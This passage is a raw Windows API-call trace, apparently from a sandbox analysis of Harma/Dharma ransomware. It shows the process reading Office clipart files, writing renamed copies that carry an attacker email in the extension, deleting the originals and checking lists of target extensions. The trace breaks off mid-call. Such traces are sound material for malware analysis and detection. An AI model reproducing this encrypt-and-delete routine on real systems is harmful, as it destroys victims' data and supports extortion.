SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.569] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0171.570] GetLastError () returned 0x0 [0171.570] ReadFile (in: hFile=0x3ac, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x1094, lpOverlapped=0x0) returned 1 [0171.577] WriteFile (in: hFile=0x390, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x10a0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x10a0, lpOverlapped=0x0) returned 1 [0171.579] ReadFile (in: hFile=0x3ac, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0171.579] WriteFile (in: hFile=0x390, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0171.579] SetEndOfFile (hFile=0x390) returned 1 [0171.579] CloseHandle (hObject=0x390) returned 1 [0171.579] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.579] SetEndOfFile (hFile=0x3ac) returned 1 [0171.584] CloseHandle (hObject=0x3ac) returned 1 [0171.584] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0171.585] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf")) returned 1 [0171.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned 63 [0171.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned 63 [0171.585] lstrlenW (lpString=".doc") returned 4 [0171.586] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.586] lstrlenW (lpString=".docx") returned 5 [0171.586] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0171.586] lstrlenW (lpString=".pdf") returned 4 [0171.586] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.586] lstrlenW (lpString=".xls") returned 4 [0171.586] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.586] lstrlenW (lpString=".xlsx") returned 5 [0171.586] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0171.586] lstrlenW (lpString=".ppt") returned 4 [0171.586] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned 63 [0171.586] lstrlenW (lpString=".zip") returned 4 [0171.586] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.586] lstrlenW (lpString=".rar") returned 4 [0171.586] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.586] lstrlenW (lpString=".bz2") returned 4 [0171.586] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.586] lstrlenW (lpString=".7z") returned 3 [0171.586] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned 63 [0171.586] lstrlenW (lpString=".dbf") returned 4 [0171.586] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned 63 [0171.586] lstrlenW (lpString=".1cd") returned 4 [0171.586] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned 63 [0171.586] lstrlenW (lpString=".jpg") returned 4 [0171.586] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned 63 [0171.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned 63 [0171.587] lstrlenW (lpString=".doc") returned 4 [0171.587] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.587] lstrlenW (lpString=".docx") returned 5 [0171.587] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0171.587] lstrlenW (lpString=".pdf") returned 4 [0171.587] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.587] lstrlenW (lpString=".xls") returned 4 [0171.587] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.587] lstrlenW (lpString=".xlsx") returned 5 [0171.587] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0171.587] lstrlenW (lpString=".ppt") returned 4 [0171.587] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned 63 [0171.587] lstrlenW (lpString=".zip") returned 4 [0171.587] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.587] lstrlenW (lpString=".rar") returned 4 [0171.588] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.588] lstrlenW (lpString=".bz2") returned 4 [0171.588] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.588] lstrlenW (lpString=".7z") returned 3 [0171.588] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned 63 [0171.588] lstrlenW (lpString=".dbf") returned 4 [0171.588] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned 63 [0171.588] lstrlenW (lpString=".1cd") returned 4 [0171.588] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned 63 [0171.588] lstrlenW (lpString=".jpg") returned 4 [0171.588] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.588] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0171.588] lstrlenW (lpString="J0107344.WMF") returned 12 [0171.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0171.589] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=5076) returned 1 [0171.589] CloseHandle (hObject=0x3ac) returned 1 [0171.589] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf")) returned 0x20 [0171.589] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0171.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0171.590] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.590] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0171.590] GetLastError () returned 0x0 [0171.591] ReadFile (in: hFile=0x3ac, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x13d4, lpOverlapped=0x0) returned 1 [0171.611] WriteFile (in: hFile=0x390, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x13e0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x13e0, lpOverlapped=0x0) returned 1 [0171.612] ReadFile (in: hFile=0x3ac, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0171.612] WriteFile (in: hFile=0x390, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0171.612] SetEndOfFile (hFile=0x390) returned 1 [0171.612] CloseHandle (hObject=0x390) returned 1 [0171.612] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.612] SetEndOfFile (hFile=0x3ac) returned 1 [0171.614] CloseHandle (hObject=0x3ac) returned 1 [0171.615] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0171.697] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf")) returned 1 [0171.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned 63 [0171.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned 63 [0171.698] lstrlenW (lpString=".doc") returned 4 [0171.698] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.698] lstrlenW (lpString=".docx") returned 5 [0171.698] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0171.698] lstrlenW (lpString=".pdf") returned 4 [0171.698] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.698] lstrlenW (lpString=".xls") returned 4 [0171.698] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.698] lstrlenW (lpString=".xlsx") returned 5 [0171.698] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0171.698] lstrlenW (lpString=".ppt") returned 4 [0171.698] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned 63 [0171.698] lstrlenW (lpString=".zip") returned 4 [0171.698] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.698] lstrlenW (lpString=".rar") returned 4 [0171.698] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.698] lstrlenW (lpString=".bz2") returned 4 [0171.698] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.698] lstrlenW (lpString=".7z") returned 3 [0171.698] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned 63 [0171.699] lstrlenW (lpString=".dbf") returned 4 [0171.699] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned 63 [0171.699] lstrlenW (lpString=".1cd") returned 4 [0171.699] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned 63 [0171.699] lstrlenW (lpString=".jpg") returned 4 [0171.699] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned 63 [0171.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned 63 [0171.699] lstrlenW (lpString=".doc") returned 4 [0171.699] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.699] lstrlenW (lpString=".docx") returned 5 [0171.699] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0171.699] lstrlenW (lpString=".pdf") returned 4 [0171.699] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.699] lstrlenW (lpString=".xls") returned 4 [0171.699] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.699] lstrlenW (lpString=".xlsx") returned 5 [0171.699] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0171.699] lstrlenW (lpString=".ppt") returned 4 [0171.699] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned 63 [0171.699] lstrlenW (lpString=".zip") returned 4 [0171.699] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.699] lstrlenW (lpString=".rar") returned 4 [0171.699] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.699] lstrlenW (lpString=".bz2") returned 4 [0171.699] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.699] lstrlenW (lpString=".7z") returned 3 [0171.700] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned 63 [0171.700] lstrlenW (lpString=".dbf") returned 4 [0171.700] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned 63 [0171.700] lstrlenW (lpString=".1cd") returned 4 [0171.700] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned 63 [0171.700] lstrlenW (lpString=".jpg") returned 4 [0171.700] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.700] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0171.700] lstrlenW (lpString="J0107364.WMF") returned 12 [0171.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107364.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0171.701] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=16588) returned 1 [0171.701] CloseHandle (hObject=0x3ac) returned 1 [0171.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107364.wmf")) returned 0x20 [0171.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107364.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0171.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107364.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0171.701] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.701] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107364.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0171.702] GetLastError () returned 0x0 [0171.702] ReadFile (in: hFile=0x3ac, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x40cc, lpOverlapped=0x0) returned 1 [0171.726] WriteFile (in: hFile=0x390, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x40d0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x40d0, lpOverlapped=0x0) returned 1 [0171.727] ReadFile (in: hFile=0x3ac, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0171.727] WriteFile (in: hFile=0x390, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0171.727] SetEndOfFile (hFile=0x390) returned 1 [0171.729] CloseHandle (hObject=0x390) returned 1 [0171.729] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.729] SetEndOfFile (hFile=0x3ac) returned 1 [0171.731] CloseHandle (hObject=0x3ac) returned 1 [0171.731] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0171.732] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107364.wmf")) returned 1 [0171.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned 63 [0171.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned 63 [0171.732] lstrlenW (lpString=".doc") returned 4 [0171.732] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.732] lstrlenW (lpString=".docx") returned 5 [0171.733] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0171.733] lstrlenW (lpString=".pdf") returned 4 [0171.733] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.733] lstrlenW (lpString=".xls") returned 4 [0171.733] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.733] lstrlenW (lpString=".xlsx") returned 5 [0171.733] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0171.733] lstrlenW (lpString=".ppt") returned 4 [0171.733] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned 63 [0171.733] lstrlenW (lpString=".zip") returned 4 [0171.733] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.733] lstrlenW (lpString=".rar") returned 4 [0171.733] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.733] lstrlenW (lpString=".bz2") returned 4 [0171.733] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.733] lstrlenW (lpString=".7z") returned 3 [0171.733] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned 63 [0171.733] lstrlenW (lpString=".dbf") returned 4 [0171.733] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned 63 [0171.733] lstrlenW (lpString=".1cd") returned 4 [0171.733] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned 63 [0171.734] lstrlenW (lpString=".jpg") returned 4 [0171.734] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned 63 [0171.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned 63 [0171.734] lstrlenW (lpString=".doc") returned 4 [0171.734] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.734] lstrlenW (lpString=".docx") returned 5 [0171.734] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0171.734] lstrlenW (lpString=".pdf") returned 4 [0171.734] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.734] lstrlenW (lpString=".xls") returned 4 [0171.734] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.734] lstrlenW (lpString=".xlsx") returned 5 [0171.734] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0171.734] lstrlenW (lpString=".ppt") returned 4 [0171.734] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned 63 [0171.734] lstrlenW (lpString=".zip") returned 4 [0171.734] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.734] lstrlenW (lpString=".rar") returned 4 [0171.734] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.734] lstrlenW (lpString=".bz2") returned 4 [0171.734] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.734] lstrlenW (lpString=".7z") returned 3 [0171.734] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned 63 [0171.734] lstrlenW (lpString=".dbf") returned 4 [0171.734] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned 63 [0171.735] lstrlenW (lpString=".1cd") returned 4 [0171.735] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned 63 [0171.735] lstrlenW (lpString=".jpg") returned 4 [0171.735] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.735] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0171.735] lstrlenW (lpString="J0107446.WMF") returned 12 [0171.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0171.736] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=30336) returned 1 [0171.736] CloseHandle (hObject=0x3ac) returned 1 [0171.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf")) returned 0x20 [0171.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0171.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0171.848] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.848] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0171.849] GetLastError () returned 0x0 [0171.849] ReadFile (in: 